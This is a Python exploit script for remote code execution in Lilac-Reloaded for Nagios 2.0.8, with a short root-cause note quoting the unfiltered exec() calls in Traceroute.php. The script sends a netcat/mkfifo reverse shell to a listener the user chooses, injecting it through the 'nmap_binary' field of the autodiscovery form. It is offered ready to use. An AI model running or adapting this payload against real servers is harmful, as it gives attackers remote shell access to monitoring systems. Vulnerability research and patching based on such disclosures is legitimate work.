Lilac-Reloaded For Nagios 2.0.8 Remote Code Execution

#!/usr/bin/env python

"""
# Exploit Title: Lilac-Reloaded for Nagios 2.0.8 - Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 2023-04-13
# Exploit Author: max / Zoltan Padanyi
# Vendor Homepage: https://exchange.nagios.org/directory/Addons/Configuration/Lilac-2DReloaded/visit
# Software Link: https://sourceforge.net/projects/lilac--reloaded/files/latest/download
# Version: 2.0.8
# Tested on: Debian 7.6
# CVE : N/A

The autodiscovery feature lacks any kind of input filtering, so we can add our own commands there terminated with a ;

Use at your own risk!

RCA - wild exec is ongoing without any filtering

in library/Net/Traceroute.php

   181      function _setTraceroutePath($sysname)
   182      {
   183          $status    = '';
   184          $output    = array();
   185          $traceroute_path = '';
   186
   187          if ("windows" == $sysname) {
   188              return "tracert";
   189          } else {
   190              $traceroute_path = exec("which traceroute", $output, $status);
   [...]
   257      function traceroute($host)
   258      {
   259
   260          $argList = $this->_createArgList();
   261          $cmd = $this->_traceroute_path." ".$argList[0]." ".$host." ".$argList[1];
   262          exec($cmd, $this->_result);


"""

import requests
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="The full path of the autodiscover.php in lilac (i.e. http://127.0.0.1/lilac/autodiscovery.php", required=True)
parser.add_argument("-i", "--ip", help="Listener IP", required=True)
parser.add_argument("-p", "--port", help="Listener port", required=True, type=int)
args = parser.parse_args()

rev_shell = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {args.ip} {args.port} >/tmp/f;"

body = {"request":"autodiscover","job_name":"HackThePlanet","job_description":"HackThePlanet","nmap_binary":rev_shell,"default_template":"","target[2]":"1.1.1.1"}

try:
    r = requests.get(args.url)
    if r.ok:
      print("[+] URL looks good...moving forward...")
      print("[+] Sending exploit in...")
      r = requests.post(args.url,data=body)
      if r.ok:
        print("[+] Got HTTP 200, check your listener!")
    else:
      print("[-] Some kind of error happened, check the http response below!")
      print(r.text)
except Exception as e:
  print("General exception: " + str(e))